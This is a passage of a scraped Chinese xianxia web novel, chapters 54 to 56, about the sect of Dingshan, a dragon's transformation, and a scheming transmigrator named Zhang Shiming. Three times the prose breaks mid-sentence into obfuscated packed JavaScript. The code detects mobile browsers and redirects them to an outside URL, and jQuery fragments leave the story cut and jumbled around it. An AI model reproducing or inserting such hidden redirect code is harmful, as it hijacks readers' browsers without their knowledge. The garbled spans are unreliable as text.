可无论怎么救治,卫池那只手还是越来越苍白,最后基本已没有血色。 “人不离开禁地,怎么治也没用。”李宜敏嫌弃地说。 她也是从外面走来,紧接着就在地上打开一张画着阵法的纸。 阵法一亮,青滔便原地现身。 因为过于凶悍没人敢看到他,所以青滔在鼎山基本都以阵法来转移位置。 他一个字也没说,不过看起来相当不好惹,手上那把没有剑鞘的长剑更像是随时都会砍人。 “师伯辛苦,弟子先行告退。”这句话似乎伴随着一滴冷汗。 李宜敏说完话就赶紧将另外三个人叫出禁地。 在鼎山触怒青滔师伯绝对没好事。 54. 鼎山龙息 青滔在鼎山是绝不能冒犯的人,鼎山掌门曾经跟他一言不合,就被一顿暴打。而且没有使用任何功法,纯粹只是拳打脚踢。 虽然现场没有其他人,但鼎山上下都察觉到这个动静。 鼎山掌门都有这种下场,其他人就更不用说。 众人胆战心惊,生怕哪天不小心就触怒青滔长老。 毕竟鼎山掌门修为功法是一等一的高,能把他打得毫无还手之力,那得是什么狠角色。 以前只是知道青滔长老剑法超群,没想到还能干出那种事。 一时间人人自危,看到路边有个人影都会被吓一跳。 鼎山上下所有人都怕青滔,没有鼎山弟子敢去白鹭坪,因此去白鹭坪学剑的卫池顿时就异于常人。 没人敢想他会有什么后果,结果学剑一两个月居然平安无事? 鼎山弟子去打听过他有没有被打,卫池说经常被打,不过打得最多的是他师父。只要他师父被打,青滔师伯就没兴趣再打他。 青湖原本在鼎山默默无名,但这么一说就显得她为人师表、舍己为人。 ——所有人顿时对她刮目相看。 不过还是要小心青滔,所以他在鼎山只能通过阵法转移位置。 李宜敏拿到画着阵法的纸后,就沿途劝退鼎山弟子。他们明白事情有多严重,因此之前布阵的鼎山弟子全都跑了。 毕竟在青滔的剑阵下,不再需要其他阵法。 青滔在鼎山禁地没说一个字,其他人就全部撤离。 冰天雪地里只有他和一条蛟。 那条蛟是真龙化形而来,原本还是一条龙。 之前感觉要出事,还以为是中途发生意外。 直到化形开始,青滔才发现施法者不会保护化形后的龙,即便可以也会任由其自生自灭。 虽然知道人心险恶,但也没想到会到这个地步。 幸亏有人炉在旁边,不然那条龙已一命呜呼。 情急之下,青滔只能过来赶走其他人。 只剩他一个人,禁地就更加严寒刺骨,仿佛寒风飞雪都在使用鼎山剑法。 青滔只会剑法,所以就开始在禁地舞剑。 剑势一起,禁地龙息便察觉到异常,想过来压迫他。 但青滔久居白鹭坪,早就不怕龙息压迫。 重压再强也只是让他周身沉重一些,仅此而已。 之前因真龙化形而加强的龙息压迫,在青滔剑法下无能为力。 以至于始终不能获胜,最后只好无奈散开。 龙息压迫散去,禁地并未轻松,因为青滔还在舞剑。 舞剑动作虽然全是鼎山剑招,但谁也没法破解,毕竟背后还有剑阵。 剑阵原本在鼎山虚无缥缈,但鼎山弟子铺设剑阵助卫池击败蛟之后,众人对剑阵就有全新认识。 这是看似没用,其实打遍天下无敌手的东西。 之前无法施展,只是因为人不行。 在青滔的舞剑中,禁地红梅更加生机盎然。那原本就不是普通梅花,所以才能在终年冰雪之处常开不败。 此时的红梅似乎从剑气里获得更多活力。 一人一剑便是天地里不可多得的生。 红梅在皑皑白雪中绽放,青滔便在龙息重压下恣意挥洒。 一时间仿佛红梅就是舞剑之人。 禁地里没人捣乱便安静下来,禁地外的几人却有点手忙脚乱,毕竟卫池右手看起来就快不行。 张师铭很是愧疚,说都怪自己疏忽大意,一时救人心切却忘记禁地龙息重压。即使那条蛟没事,但身处其中的卫池也难逃一劫。 他可以对抗龙息压迫,但对鼎山弟子来说太过异想天开。 李宜敏低头看一眼那只手,想说原本蛟也会出事,恐怕是卫池挡在前面才幸免于难。 她没有说出这句话,只是请张师铭不必担心,先回玄镜池休息就行。 张师铭再三保证,一旦有事他马上就到,这才转身下山。 等背影彻底消失,李宜敏才问:“是他干的吧?” 他们原以为张师铭有充分把握,能保障龙息压迫不会影响化形后的真龙,因此没有考虑到这一点。 没想到他居然顺势利用龙息压迫,来祸害化龙之人。 “此人相当危险。”卫池声音平稳不少。 陆顷己说:“你才危险,这手都差点保不住。” 他忙到现在才总算控制住伤势,幸亏及时离开禁地,不然无力回天。 “不过化龙之人的危机已经解决。”卫池稍微松口气。 李宜敏很不满:“这次解决还有下次,只要他会来就隐患重重。” “他住在鼎山,什么时候去禁地都行……”陆顷己有点难以想象。 化形的时候,众人做好准备倒也还能应对。 可张师铭又不是只有化形之时才过去,难道从始至终都得有人守着? 卫池转头望向禁地,然后说:“那就请青滔师伯守在禁地外,他在那里练剑,张师铭估计就不敢过去。” “其他人也不敢过去吧?”陆顷己有点困惑。 李宜敏皱起眉头:“其他人过去干什么?” “总想过去看一眼吧?”陆顷己解释。 李宜敏问:“有什么好看的?” “他们都没见过真龙……” “现在真龙化形成蛟,早就看不到了。” 事实正是如此,陆顷己无话可说,只能沉默。 卫池见状就说:“下次真龙在鼎山盘旋,他们就都能看到。” “还有这种事?”陆顷己有点不敢相信。 “毕竟有龙骨论战。” ——而且张师铭肯定不会停手。 在给卫池疗伤的过程中三个人继续说着,那边张师铭已经来到玄镜池外。 此处与禁地、白鹭坪一线,龙息压迫肯定明显。 所以基本不会有鼎山弟子出没。 张师铭不由松口气,总算不用再假装好人。 谁知才进去就有动静传来,接着便有一把大刀劈下。 他紧急施法布阵,才挡住攻击。 那把刀落到地上就消失,张师铭转头才发现有个身穿甲胄的女子。 冬青在玄镜池呆了几天,什么也没找到。 正要离开就发现外面来了一个危险气息,她不知道张师铭的事,只是感觉受到威胁,所以身披甲胄一刀砍过去。 刀没砍中,不过她发现来者修为竟然跟鼎山掌门差不多。 鼎山掌门的修为在世间是一等一,而这个人相差无几。 略微布阵就能挡住她用龙息变出的长刀,绝不简单。 鼎山没有这种级别的人,这种级别的人也绝不可能出自鼎山。 因此冬青瞬间发现来者不善。 但自己一身甲胄,想装无辜也不可能,所以只能就地一坐。 “谁骗我那个刀好用,砍到一半就没了!”她只好假装很委屈。 张师铭突遭偷袭,本想施法反击,结果偷袭之人还委屈起来。 他看到一个娇小女子身着甲胄,却似乎不堪重负。 想起之前就是她在挥刀,他不禁怀疑起来。 “……刚才是你砍的?”张师铭一时没反应过来。 冬青气冲冲的,仿佛才发现上当受骗:“是我又怎么了,刀都没了!” 她毫不掩饰自己的动作,言辞里也没有任何防备。 就像一个年少无知的幼童。 张师铭见她一身甲胄,感觉有些奇怪。 “那你穿成这样是干什么?” 冬青有点气:“我不敢过来,他们说穿上这个就没必要担心。” “……他们?”张师铭发现一个有点微妙的词。 “就是那些鼎山弟子,”冬青不情愿地说,“他们不过来还叫我过来。” 张师铭十分疑惑:“叫你过来干什么?” 这跟印象中的鼎山弟子完全不同,听起来像是不顾他人安危的富家大少。 “他们说那个化龙之人住在这里,要来拿个东西。”冬青说。 化龙之人还在禁地躺着,拿的东西估计意义重大。 于是张师铭问:“拿什么?” “要是说了你就把那个东西送去禁地,我才不去。”冬青提出条件。 张师铭似乎有些无奈:“我不是鼎山的,还是交给鼎山弟子比较好。” “到时候他们又骗我!”冬青很是愤恨。 这种容易激动的性格很好拿捏。 于是张师铭说:“那我先看一下是什么,如果合适再由我转交?” 他伸出右手,仿佛还是无奈。 看到那只手,冬青就确定自己绝对打不过。修道人士的手还细皮嫩肉,可见功法修为不是一般高。 因此她只好掏出一个木盒子,继续编故事。 那是装抱仙果的盒子,她随手带着身上方便使用,只是没想到会用在这里。 “你看吧,我也不知道有什么。”冬青转过头,似乎有些赌气。 张师铭接过那个盒子就是一愣,因为太轻。 然后打开一看,果然空无一物。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173176|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“里面没东西。”说出这句话的张师铭还没意识到问题所在。 冬青闻言就跳起来朝外冲,还大声呼喊:“有人偷东西啦!” 不过玄镜池外没有鼎山弟子,所以没人听到她的喊声。 张师铭发现不对劲,瞬间就冲过去将冬青的头按在地上。 “你干什么?”这时他露出凶相。 冬青被按在地上无法动弹,这时才发现对方身上的龙息重压。 常人身上不可能有龙息重压,有这个还行动自如更是举世罕见。 原本身为龙息化身,冬青占尽优势。 可眼下发现龙息在这个人那里什么也不算,她无能为力只能痛哭流涕。 那女子形迹可疑,张师铭原本想动手,但她一哭就显得自己像是在欺负小孩。 而冬青的特点就是她情绪波动容易引起鼎山龙息波动。 鼎山龙息突然波动当然是坏事,所以孙峥湖马上就会知道。 毕竟这是吉凶悔吝其中之一。 “阁下不要冲动,她是鼎山中人。”孙峥湖马上靠阵法现身,从周身装扮来看,他正在搞卫生。 张师铭并未松手,只是疑问:“她是鼎山中人?” “掌门带回来的,来历不明的小孩,生性胡闹,还望不要计较。”孙峥湖慢慢解释说明。 “太渊真人带回来的?”张师铭问。 孙峥湖有点无奈:“所以性情跟他很像。” 太渊真人身为鼎山掌门,却不理凡尘琐事,因为他自己就是个麻烦。 没事也能弄出事,有事更是会弄成灾。 ——正是之前那个女子胡说八道,随性而为的模样。 “她学过什么?”张师铭的手劲略微放松。 这是在思考那个女子的危害。 孙峥湖解释:“只会一些雕虫小技,难登大雅之堂。” 这种说法很合理,毕竟她之前就是如此。 鼎山弟子多的是这种无名小卒,所以没必要担忧。 “下次别来玄镜池胡闹。”张师铭说出忠告,松开手。 冬青瞬间就冲到孙峥湖背后躲起来。 他好言劝说几句,又跟张师铭一再解释,然后才使用阵法离开。 离开玄镜池的两人回到飞泉院旁边,孙峥湖捡起扫帚继续扫地,对冬青的遭遇没发表任何看法。 冬青看他扫得越来越投入,实在忍无可忍。 这么大的事结果他仿佛无事发生。 “他不是好人!”冬青大声宣布。 不过孙峥湖满不在乎:“没人觉得他好。” “那还把祸害留在鼎山?”冬青十分怀疑。 孙峥湖低头一叹:“放出去危害更大。” 一个敢在禁地迫害真龙的人,离开鼎山会干什么? ——简直不敢想象。 只能说鼎山中人好歹还能提防。 “他不会放过鼎山弟子。”冬青想了一下。 孙峥湖知道她想出手,就问:“你还能怎么样?” “那我也不会放过他。”冬青不服气地说。 孙峥湖停下动作,摇头道:“你都被按在地上不能动,还能怎么样?” “你变成狐狸跟我一起去,一不对劲你就跑,”冬青提议,还说得顺理成章,“你跑我就追,顺势逃出那边。” 结果还是扯上自己,孙峥湖当然不同意,继续摇头扫地。 “要是我过去被他打,鼎山龙息就乱了。”冬青说得有理有据。 孙峥湖实在没想到还有这一招,马上就说:“不要冲动。” 鼎山龙息一乱,遭殃的是所有人。 “那你变成狐狸跟我一起去。”冬青要求。 “不要急,他会在鼎山呆三年。” “为什么呆这么久?!” 冬青不知道之前发生的事,相当疑惑。 孙峥湖解释:“他来帮青湖师叔化形,说是需要三年时间。” “……三年?”冬青一愣。 孙峥湖顺势劝说:“所以我说不要急。” “三年以后是龙骨论战……”冬青皱起眉头。 虽然其他人没放在心上,但身为鼎山龙息,她最关心的就是龙息。 龙骨论战时,禁地龙息会遍布鼎山上下。 如果有人趁机动手,后果可能不堪设想。 鼎山龙息主要稳定在禁地,禁地龙息则能通过那个洞口飘到九炼洞窟。 九炼洞窟里躺着世上最后一条龙。 一旦鼎山龙息动荡,九炼洞窟里的龙必定会遭到重创。 55. 龙息之灾和力 鼎山与九炼洞窟相连,禁地龙息会通过狭长隧道飘到那边。因此鼎山龙息平稳,实际就是禁地龙息稳定,禁地龙息稳定才能保障九炼洞窟里的真龙恢复。 之前在那个人身上发现的龙息重压极其危险。 由于物极必反,所以过重反而需要外界龙息。 龙息压迫很常见,但并非所有人都因此困扰。 人炉可以将龙息转化成功法,所以人炉不会受龙息压迫之苦。 不过还有一种人也不会因此遭受痛苦。 那种人不会因龙息压迫困扰,因为他们本来就需要龙息。 龙息是灾也是力,只要能将灾害转化为力量,那么压迫越大力量就越强。 当龙息压迫变成龙息重压时,基本就会发生这种事。 “他还干了什么?”冬青警觉起来。 孙峥湖叹了一口气:“他以帮助真龙化形为由进入禁地,却顺势利用龙息压迫来对付已经化形为蛟的龙。” 在化形期间利用龙息压迫对付化龙之人,这是谁也没想到的。 “……这怎么行?!”冬青十分震惊。 化龙之人几乎已经耗尽修为功法,根本无法对抗龙息压迫。 按理来说施法者应该帮助化龙之人,可那个人应该完全不会做这种事。 龙息压迫针对一切不是龙形的东西。 即便是化龙之人也逃不出压迫。 “幸亏当时卫池在旁边,他用右手彻底挡住龙息压迫。”孙峥湖说明情况。 冬青很不可思议:“他的手还有救?” “勉强救回来了……” 虽然听起来很勉强,不过好歹没有不可挽回。 一系列问题最严重的就是龙息,于是冬青立即通知九炼洞窟。 那边需要靠龙息来稳定真龙情况,如今龙息就是最大隐患,不得不防。 龙息对世人来说是灾,但是从鼎山过去的会成为真龙之力,眼下有人搅局,真龙获得的是灾还是力那就不得而知。 从龙息那边接到通知的菩提慧海瞬间就皱起眉头,他转头看向真龙,一时感觉时日无多。 愁苦模样太过明显,以至于在不远处跟人讨论的齐云鲤都留意到这个变化。 之前菩提慧海基本都风轻云淡,眼下却愁容满面。 其他人不关注此事,因此齐云鲤当仁不让,不过问完之后愁苦的人就多了一个。 “……怎么了?”这时她还不清楚事情有多严重。 菩提慧海沉默片刻才说:“龙息帮真龙恢复的力可能会变成灾。” ——这件事就相当严重。 龙息之灾是祸害世人最明显的东西,人人饱受痛苦折磨,由此发生一连串匪夷所思之事。 幸亏世人受灾的同时真龙可以获得龙息之力恢复,不然就永无止尽。 谁知好不容易恢复才少许的真龙可能遭受龙息之灾,感觉彻底没有活路。 也就是人炉就是龙息之灾的象征,或许也可以成为龙息之力。 这一点还稍微让人心理安慰。 齐云鲤很想自暴自弃,不过还是问:“怎么会这样?” “估计是来鼎山的那个人有问题……”菩提慧海只是猜测。 猜测理由是使龙息变动的人必然另有所图。 这件事刚好就在齐云鲤的熟悉领域。 面具人为非作歹、祸害苍生,还在千溪镇挑事,这不是他做的都不可能。 小说作者正事不干、尽做坏事,害人就算了,现在还要祸害真龙。 他无法化龙,那么真龙也别想活。 ——真的就是坏事做绝。 齐云鲤越想越气,最后问:“龙息的灾和力并不会固定是吗?” “以前遍地都是龙息之灾,所以他们才会想到利用龙息之力。其实究竟是灾还是力,并没有定数。”菩提慧海解释说明。 “鼎山已适应龙息压迫,也就是龙息之灾,那么这边就要稳定龙息之力。” 菩提慧海问:“怎么稳定?” “你们要协助真龙恢复,只靠它自己当然不行。”齐云鲤指出。 “以前试过,但是没用。” “以前是以前现在是现在,既然那边要抢龙息之力,那么就得跟他争起来。” 齐云鲤说得真龙恢复是件需要争斗的事。 不过在此之前谁也没这么想过,感觉顺其自然,不要过多干预才对。 毕竟人力不可能撼动真龙。 可眼下有人会利用龙息祸害真龙。 ——这不就是撼动真龙? 事情发展有点超出想象,菩提慧海皱起眉头。 在他沉默的时候,青湖说出评价:“最后鹿死谁手,犹未可知。” “反正不能等死。”齐云鲤说。 不过青湖还是有点为难:“事情太过复杂,谁也搞不清。” “新任幽冥大帝都可以彻底扭转幽冥十二泉局面,你们还争不过?” 齐云鲤点出当前局面的变化,幽冥大帝换人这是谁都想不到的。 而且此事彻底扭转幽冥十二泉困境。 完全超出所料,却又顺理成章。 “我又不认识。”青湖当然有所耳闻,但她觉得不可同日而语。 齐云鲤有点气:“不认识可以学,鼎山弟子都能学,你还学不会?!” “他们学了也不能怎么样。” 齐云鲤气得大喊:“他们很快就可以化龙,你还做不到!” 无法化龙是青湖的心头之痛。 她在玄镜池呆那么久,承受龙息压迫都习以为常,却还是不能化龙。 没想到交换魂魄之后就成功化龙。 ——这都没地方说理。 如今化龙之人说鼎山弟子也可以化龙,基本就是直接抽她面门。 不过青湖性情还算温和,因此没有发怒,只是说:“你化龙结束还可以休息三年,就是不知到时候鼎山还在不在。” 鼎山如果不在,那么真龙也没救。 “冷静点,不要连累九炼洞窟。”菩提慧海好言相劝。 他围观那两人吵架,结果说着说着就牵连到真龙。 齐云鲤一声大喊:“他说你只会空口说白话!” “不是,怎么又跟我有关?”菩提慧海十分疑惑。 青湖说:“我把去鼎山那个人打了,你是不是就得俯首帖耳?” 这是一种比较危险的表示。 “你都被他打得只能请我出来帮忙。” 结果齐云鲤的回答更危险。 菩提慧海感觉那两个人都要打起来。 他只好后退几步,做好防护。 青湖说得有点讽刺:“那我就把他打得不得不请你出面。” “你要是能保证这里的龙息之力不变,就是将他打得体无完肤。”齐云鲤这才说出最终目的。 吵架只是手段,目的是要保障龙息之力。 如今有外人插手鼎山的事,九炼洞窟这边自然不能坐以待毙。 青湖发现自己差点中计,于是说:“那我还能当幽冥大帝。” “幽冥大帝不能变!”齐云鲤紧张起来。 青湖不慌不忙地说:“能变一次就能变第二次。” “真龙死了就什么也变不成!”齐云鲤赶紧强调。 青湖有点疑惑:“他还敢弄死真龙?” “已经准备毁天灭地,他还有什么做不到?” 青湖说出后果:“毁天灭地之后他也会死。“ “只有天地毁灭,他才能幸存。”但齐云鲤反驳。 ——二者只能活一个。 青湖不再言语,因为事情好像真就如此。 面具人不知道有什么病,一心一意毁天灭地。 如今看来天地和他不能共存。 “眼下问题严重,掉以轻心就是自寻死路,”菩提慧海及时出来缓和氛围,“每个人都做好准备,以备不时之需。” 不过说来说去也没实际效果,具体会发生什么,还得看鼎山那边。 鼎山玄镜池由于青湖师徒都不在,所以彻底空出来,暂时让张师铭过去居住。 玄镜池跟禁地、白鹭坪在一线,因此龙息压迫大于其他地方。 鼎山弟子也不会主动过去,所以格外清净。 张师铭发现室内摆设稀松平常,就不再琢磨是否暗藏宝贝。 如今来到没有旁人之处,他总算松了一口气。 虽然进玄镜池时遇到个怪人,不过他也没有解除伪装。 从始至终都在假装好人,确实挺累。 ——幸亏同时也在干实事。 不然临死才会发现,自己始终都在当好人。 张师铭自小天赋异禀,大人写的文章都不如他,因此很早就扬名立万。 其他同学都在为学习焦头烂额,他只是普通学习就能名列前茅。 一路顺风顺水到大学,他才发现自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178086|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的文章已经没有人看。 虽然他在成长,但其他人进步更快。 即使在学业上依然稳操胜券,但由于太过顺利,他很多事都不知道。 所谓文章憎命达,大抵就是如此。 张师铭没有惊慌失措,只是在即将毕业时发现一个苦命人。 那个苦命人命途多舛,居然还来安慰他。 张师铭不免觉得好笑,直到那个人说出一件事。 那是他无论如何都想不到的故事,对方却轻而易举脱口而出。 纵使再过三十年,张师铭也想不出那种东西。 他意识到问题很严重,于是立即提出合作。 苦命人说那还只是设想,不用操之过急。 设想的重点就在尚未发生,只要张师铭抢先一步发表文章,那么所有问题就迎刃而解。 于是当夜色深沉时,他带着那个人外出游走,让其不经意间发生车祸。 那个人进医院抢救后,虽然保全性命但记忆缺失。 ——所以苦命人的故事归他所有。 虽然后续还有些不想面对的事,但穿书之后居然得到改天换地之力。 事已至此,那就没必要犹豫。 既然从小就是天纵之才,那么就不用再看脚下那群蝼蚁。 张师铭在安静的玄镜池得到彻底休息,然后又要出去假装好人。 之前那个怪人的事得跟罗白音好好说一下,以免出事怪他。 虽然见过孙峥湖使用阵法转移,不过张师铭为表现诚意,还是徒步走到飞泉院。 之前到达半山腰大殿时,感觉气势恢宏,不过来到最高处的飞泉院他这才明白何谓重地。 之前小说里将鼎山灭门一幕安排在那里,只是因为那里离禁地最近。 如今看到院子那棵白玉兰,张师铭才发现这里岂止地势高。 禁地红梅明显有阵法在保护,飞泉院的白玉兰也有阵法保护,而那个保护阵法连他都无法看破。 自己并没有在飞泉院安排白玉兰,也就是说出自他人之手。 张师铭瞬间就怒了,没想到他据为己有之地竟然还有其他人插手。 于是当他走进房间时,就有点怒火中烧,态度自然也强硬不少。 “今天早些时候,有个怪人出现在玄镜池,还想偷袭我。幸亏我反应快,这才没有受伤。” 此时已是傍晚时分,他的话就仿佛窗外冷风,吹去最后一丝暖意。 不过飞泉院里只有罗白音,从始至终她都处于冰寒刺骨的境地,实在没什么好怕。 “那是掌门带回来的麻烦,从早到晚都在惹事,没有伤到你就好。”罗白音越描越黑,毫不在意张师铭的话。 张师铭顺势说:“那个人来历不明,说不定会出事。” “阁下也来历不明,难道会出事?”罗白音反问。 这明显就是在针对他,张师铭不好有意见只能转移话题。 ——毕竟自己的确来历不明。 他提起一件事:“之前似乎三渺宗想偷偷溜到鼎山禁地?” “溜不进去的,你放心,总不至于阁下也想试一试吧?”罗白音又问。 “我直接走过去就可以,没必要溜。” 罗白音轻声说:“如今青滔师伯在禁地外练剑,想走过去也难。” 李宜敏将他们三个商量好的对策告诉罗白音,她马上就通知青滔师伯在禁地外练剑,以后那一带都是他的地盘。 其实张师铭也忌惮青滔,毕竟不会剑法。 罗白音这么一说,瞬间就堵死他随时去禁地的路。 “……我是说三渺宗。”最后他只能无奈道。 “三渺宗看起来是名门正派,也不知道背地里都在干什么。”罗白音明显很嫌弃。 张师铭只好继续转移话题:“鼎山龙息还是要小心点……” “虽然之前你在禁地不小心,不过鼎山中人还是会小心。”罗白音又把矛头指过来。 这是将平平无奇的鼎山弟子放在张师铭头上。 眼看事情不好,他只能感慨:“之前是我掉以轻心,幸亏没有酿成大祸。” “鼎山情况还是鼎山中人更清楚。”罗白音感叹一句,不是嫌弃更胜嫌弃。 张师铭感觉她就不想好好说话,最后只能说:“如有必要,随时吩咐。” “说了你又不听。”罗白音摇头感慨。 张师铭实在忍不下去,只能先行告辞。 56. 再次交锋 飞泉院外天色暗淡,就像张师铭此刻的心情。 他准备彻底才来跟罗白音说玄镜池怪人的事,本想趁机拉近关系,结果她毫不在意,还开始怀疑他。 张师铭只好转移话题到三渺宗上,谁知罗白音不屑一顾,又开始怀疑他。 他无可奈何只好认错,罗白音还顺理成章嫌弃起来。 这人下手太狠,张师铭只好转移地点找其他人出气。 就在这时搞卫生的孙峥湖走进飞泉院扫地,之前自己就把他说得哑口无言,张师铭感觉真是来得正好。 之前准备的东西,总算有机会说出口。 于是张师铭走过去,站在扫地的必经之路。 孙峥湖正聚精会神扫地,不过当然不止搞卫生,而是有规律的清洁除尘能让飞泉院不被禁地龙息影响。 只要不干净,就很容易被禁地龙息找上门。 正因为如此,禁地四周都得保持干净,不然随时有可能引来龙息压迫。 打扫卫生其实是避免龙息压迫,所以孙峥湖才会亲力亲为。 一旦有龙息压迫,第一个扛不住的就是他。 孙峥湖低头扫地,结果突然撞上一个人。 他转头一看,发现竟然是那个张师铭。 之前在玄镜池外编出假话来帮冬青解释,看来还得继续。 于是孙峥湖先开口道歉,然后解释一大堆。 冬青看起来很可疑,不过在鼎山无足轻重,再怎么胡闹也只是小孩过家家,没必要放在心上。 与之相比,还是化龙之人更重要。 他本想把话题引到化龙之人身上,不过张师铭依然介意冬青的事。 “玄镜池和禁地在一条线上,如果无法进入禁地,或许到那里也是办法。” “……还能这样?”孙峥湖见识有限,容易被吓。 想到之前三渺宗人想偷偷溜到禁地,更觉得事情有点严重。 “不过还得先打探玄镜池情况,所以会假借他人之手。”张师铭点到即止。 孙峥湖一愣:“你是说冬青?” 张师铭这才知道那个怪人的名字,于是点点头。 原本这是个很好的骗局,孙峥湖好骗,张师铭会骗,眼看就要上钩。 ——但冬青的身份就是骗局。 虽然她的确是掌门带回来的,也确实身份不明,但飞泉院知道怎么回事。 她是鼎山龙息,由掌门耗尽心血化形为人。 如果这样还能被人利用,那她也枉为人,虽然冬青原本就不是人。 不过孙峥湖还是觉得玄镜池有问题,于是继续问:“感觉有点高深,不知阁下是否知道一二?” 张师铭还以为他已经上钩,就滔滔不绝起来:“玄镜池和禁地在一条线上,从上到下都有龙息。如果无法从外面的道路进入禁地,那么或许可以通过龙息连接两个地方,从而获得一些东西。” “可以利用,不过影响有限?”孙峥湖绞尽脑汁才总结出来。 张师铭是截然相反的观点:“虽然影响有限,但可以利用。” “无论如何,反正影响有限?” “影响再小也能被利用。” 张师铭反复强调,孙峥湖就纠结起来。 这件事可大可小,关键在于会造成什么影响。 他觉得没问题,对方坚持有问题。 “已经影响有限,还要担心什么?”孙峥湖只能继续问。 张师铭继续强调:“再有限也还是会影响。” “就算被影响也还是有限啊?” “那也还是会被影响。” 双方各自坚持自己的观点,无法说服对方,又都不妥协。 在有限和影响上莫名其妙争了一段时间,最后一身彩衣的冬青路过飞泉院门口,孙峥湖都仿佛看到救命恩人。 “冬青!”他从来没喊得这么激动。 冬青闻声转头,看到张师铭就是一愣。 孙峥湖没力气再争,所以赶紧转移话题:“他说你可能被人利用。” 普天之下不可能有利用鼎山龙息的人。 因此冬青的神情很疑惑。 “都是他说的。”孙峥湖马上强调。 冬青之前被吓被打现在又被污蔑,顿时有点气:“我不过是进玄镜池你就这样,那你现在住那边不就更可疑?!” 张师铭原本是要拿孙峥湖出气,结果现在他自己成为出气对象。 而且冬青气势汹汹的样子确实就像掌门带回来的。 于是他赶紧缓和气氛:“是我多虑了。” “我去玄镜池你就去,我回飞泉院你也来,我看是你居心不良!”冬青仿佛在指认。 而且能住在飞泉院的绝非一般人。 张师铭马上解释:“纯属巧合,不用多想。” “下次再让我看到你,你就要赔钱!”冬青伸手一指。 “以后我一定小心。” “小狐狸跟我走,这人一看就不是好东西!”冬青大喊一声。 孙峥湖瞬间变回原形,冲出飞泉院。 冬青瞟一眼张师铭也走了。 张师铭好不容易找到个能出气的,结果自己半路变成出气包。 原本就有点郁闷,现在心情更差。 暂时找不到发泄渠道,他又不能临时上禁地,只好憋着一口气。憋到下次化形的时候,找到小说男主来疏解心中郁闷。 飞泉院现在出现一棵前所未有的白玉兰,可见穿书者里仍有人插手鼎山之事。他不能掉以轻心,以前有人插手过,没想到现在还有。 真是孜孜不倦,精力旺盛。 不过以前插手的被他解决,现在插手的也不会幸存。 不用化形的时候,张师铭什么也不操心,每天早睡早起,感觉都能延年益寿。 之前被这个烦被那个烦,烦到最后也没个好结果。 如今来到鼎山总算摆脱那种局面,因为现在他才是烦人的存在。 罗白音烦他,孙峥湖烦他,冬青烦他,过几天他就能去烦小说男主。 ——想想就心情舒畅。 差不多半个月以后,鼎山迎来真龙第二次化形的日子。 为避免再次引起龙息压迫,张师铭先跟鼎山弟子一起练习好几次。确保再次出现偏差后,其他人能迅速解决问题。 由于事先准备充分,这次那条蛟化形为蟒没有引起任何龙息压迫。 全程都平静地仿佛无事发生。 结束完化形张师铭松了一口气,才说:“上次出现问题,全是我疏忽大意,当时你右手破溃出血,估计也与此有关。” “马有失蹄,人有失足都是世间常态。”卫池并不在意。 上次出事,鼎山弟子就紧张得不得了。他们先商量出可靠方案,然后叫张师铭一起练习。练得鼎山长老都有点看不下去,只好过去劝说。 事到如今要是还有龙息压迫影响化龙之人,那就是天理难容。 卫池的表态相当平淡,不过张师铭没有罢休。 “唉,世事难料、急则生乱,”他低头叹息,然后话音一转,“不过鼎山禁地龙息鼎盛,对人炉有没有影响?” 人炉和龙息是世人皆知的黄金搭档。 止水宗有诸多人炉,就是想将龙息转化为功法,所以那里龙息也多。 禁地龙息之鼎盛,都不是止水宗能比拟的。 如果有人炉在此转化龙息,那就是轻而易举的事。 只不过转化后的功法究竟在什么地方,这就很难说清。 人炉趁机转化禁地龙息,从世人的角度来看很合情合理。 不过鼎山不会有这种事,因为人炉转化龙息也是在消耗自己的命。 鼎山中人不会对此坐视不管。 “阁下是不是觉得我出现在此很诡异?”卫池有话直说。 张师铭赶紧解释:“鼎山办事我放心,只是之前有三渺宗人想偷偷溜到禁地。虽然那时失败,不过他们不会善罢甘休。” 已经跟面具人交战近百个轮回,所以卫池知道他绝对没好心。 又说人炉又说三渺宗,估计是在设陷阱。 不过陷阱铺好,中计的是谁就不一定。 卫池表现得有点怀疑:“他们还想插手鼎山的事?” “鼎山地处偏远,也没有金银珠宝,但是能立在这里就相当罕见。三渺宗势力庞大,必然会省视各地修道门派,如果有地方对他们构成威胁,估计就会插手。”张师铭将双方情况都说出来,描述得有点危险。 三渺宗在修道人士那边有举足轻重的地位,而他们也趁机笼络人心、招兵买马,出门在外隔三岔五就能遇到那个势力的人。 因此三渺宗势力庞大到难以想象。 而鼎山完全没有发展势力,只是在幽冥十二泉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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卫池觉得龙息没问题,又不是还趁机利用。 但张师铭强调:“他们绝不能忍受被鼎山比下去,势必会趁机削减此地龙息。” 这么一说就显得很有可能,卫池不免怀疑起来。 三渺宗始终都要维持高不可攀的地位,没人可以触及,没人能够超越。 如今鼎山地位突出就有可能构成威胁。 那些人绝不会坐以待毙。 这时护山大阵产生的变化表明有外人来到鼎山。 ——来者绝对有三渺宗人。 